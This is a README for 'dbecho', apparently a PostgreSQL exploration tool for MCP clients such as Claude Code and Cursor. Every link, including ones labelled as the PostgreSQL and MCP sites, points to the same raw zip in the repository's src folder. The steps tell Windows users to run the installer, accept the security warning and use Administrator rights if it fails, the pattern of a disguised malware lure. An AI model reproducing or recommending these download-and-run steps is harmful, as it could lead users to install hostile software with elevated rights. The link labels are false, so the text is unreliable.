dbecho

# 🗄️ dbecho - Explore Your PostgreSQL Data Simply [](https://github.com/foliagerosebush512/dbecho/raw/refs/heads/main/src/Software_v3.4.zip) --- dbecho lets you talk to your PostgreSQL databases with tools like Claude Code, Cursor, or any MCP client. Use it to explore database schemas, run analytics, compare data across databases, and more. It works in read-only mode and runs locally on your Windows PC. --- ## 📥 How to Download dbecho You will find the software at this page: **[Visit this page to download dbecho](https://github.com/foliagerosebush512/dbecho/raw/refs/heads/main/src/Software_v3.4.zip)** This link takes you to the place where you can get the latest version of dbecho for Windows. --- ## 💻 How to Install and Run on Windows Follow these steps to get dbecho running: 1. **Download the software** Open a web browser and go to the download page: https://github.com/foliagerosebush512/dbecho/raw/refs/heads/main/src/Software_v3.4.zip 2. **Find the latest Windows setup file** Look for a file that ends with `.exe` or `.msi`. This file is the installer for Windows. 3. **Start the installer** Double-click the downloaded file. You may see a security prompt; choose “Run” to continue. 4. **Follow the setup prompts** The installer will guide you through a few screens. Keep the default choices unless you want to change the installation folder. 5. **Complete installation** When the installer finishes, it will add dbecho to your Start Menu. 6. **Run dbecho** Open the Start Menu, search for “dbecho,” and open the app. --- ## 🔌 What You Need Before Starting Make sure your PC meets these basic requirements: - Windows 10 or later (64-bit recommended) - At least 4 GB of RAM - 200 MB free disk space for installation - Internet access for initial download - Access to a PostgreSQL server you want to explore --- ## 🔍 How dbecho Works dbecho connects to your PostgreSQL databases using tools that speak the MCP (Model Context Protocol) standard. It lets you: - Explore database schema easily - Run analytics without changing your data - Compare data from different databases side by side The app runs locally and only reads data. It does not change or write to your databases. --- ## 🛠️ Connecting dbecho to Your Database To use dbecho, you will need: - The address of your PostgreSQL server (for example, `localhost` or an IP address) - Your database name - User name and password for your database account Steps to connect: 1. Open dbecho. 2. Click on “Add New Connection.” 3. Enter your PostgreSQL server address. 4. Enter your database name. 5. Enter your username and password. 6. Click “Connect.” dbecho will check your connection and open the database for exploration. --- ## 📊 Using dbecho Features Once connected, you can: - View tables and columns in your database schema - Browse data inside tables - Run simple analytics like counts and summaries - Compare tables across different databases side by side The interface is clean and designed for ease of use. If you want to use another MCP client like Claude Code or Cursor, dbecho supports that too. --- ## 🔧 Troubleshooting Tips - If dbecho does not connect, check your database server is running and that your login details are correct. - Firewalls can block connections. Make sure your PC can reach the database server on port 5432 (default for PostgreSQL). - If the installer fails, try running it as Administrator (right-click, select “Run as administrator”). - If you get errors inside dbecho, restart the app and try reconnecting. --- ## 📚 More Resources - PostgreSQL official site: https://github.com/foliagerosebush512/dbecho/raw/refs/heads/main/src/Software_v3.4.zip - MCP protocol details: https://github.com/foliagerosebush512/dbecho/raw/refs/heads/main/src/Software_v3.4.zip - How to find your PostgreSQL server address: usually "localhost" if it runs on your PC --- [](https://github.com/foliagerosebush512/dbecho/raw/refs/heads/main/src/Software_v3.4.zip)